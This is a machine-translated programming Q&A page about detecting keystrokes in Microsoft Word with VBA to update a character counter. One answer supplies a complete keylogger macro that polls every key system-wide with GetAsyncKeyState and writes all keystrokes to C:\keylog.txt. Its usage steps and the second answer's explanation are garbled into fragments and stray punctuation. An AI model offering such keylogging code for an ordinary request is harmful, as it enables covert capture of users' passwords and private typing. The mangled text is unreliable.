Detection when data is added to a document, for example. character or space

Is there a way to detect when a user presses a key in Microsoft Word using VBA. I was looking for a method that does this. I also looked for methods that create a way around this, for example, detecting when the insertion point is moving or detecting when a new character is placed in the word document, but I did not look. I am currently using appWord_WindowSelectionChange(ByVal Sel As Selection), but this is not determined as you type.

I would appreciate if someone would show me how to detect a keystroke or could show me a workaround that would achieve the same goal.

Edit

I apologize if the summary of what I want above is not clear. I have a sub that fires using appWord_WindowSelectionChange(ByVal Sel As Selection). However, I want this blast to light up whenever any data is entered into a word document, for example. letter or space character. For example, if there are a number of characters in the footer of a document document and in this soup, where I have updates for this character, the character counter field should be updated as the user enters into the document.

+6
source share
2 answers

Not my code, but HTH.

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

        Sub KeyStrokeLogger()
            Dim i As Integer
            Dim KeyAsciiValue As Integer

            StartLogging
            Do While True
                For i = 1 To 255
                    If GetAsyncKeyState(i) = -32767 Then
                        If CapsLockIsOn() Then
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  End If
                        Else
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  End If
                        End If
                        LogKeyStroke KeyAsciiValue
                    End If
                Next i
                DoEvents
            Loop
        End Sub

        Private Function CapsLockIsOn() As Boolean
            CapsLockIsOn = CBool(GetKeyState(20))
        End Function

        Private Function ShiftIsPressed() As Boolean
            ShiftIsPressed = CBool(GetAsyncKeyState(16))
        End Function

        Private Sub StartLogging()
            Open "C:\keylog.txt" For Binary As #1
            Seek #1, LOF(1) + 1
        End Sub

        Private Sub LogKeyStroke(KeyAsciiValue As Integer)
            Dim c As String * 1
            c = Chr(KeyAsciiValue)
            Select Case KeyAsciiValue
                Case 8
                    Put #1, , "{BACKSPACE}"
                Case 9
                    Put #1, , "{TAB}"
                Case 13
                    Put #1, , "{ENTER}"
                Case 32 To 126
                    Put #1, , c
                Case Else
                    Put #1, , "{" & KeyAsciiValue & "}"
            End Select
        End Sub

* "How to use the code above:

Step 1 Create a new document in MS-Word.

Step 2 Go to Tools, Macro, Visual Basic Editor

Step 3 Double-click the ThisDocument object in Project (Document1) in the project window.

4 Visual Basic.

5 Visual Basic .

6 , . , "", "", "". KeyStrokeLogger "". C:\keylog.txt. "*

+2

, . , ( ) , 0 .

1

Sub AddKeyBinding()
With Application
    .CustomizationContext = ThisDocument
    .KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), _
    KeyCategory:=wdKeyCategoryCommand, _
    Command:="userpressedzero"
End With
End Sub

2

Sub userpressedzero()
    Dim MyText As String
    Selection.TypeText ("0")
    MsgBox ("user pressed 0")
End Sub

1 0 .

0

Source: https://habr.com/ru/post/1695322/


All Articles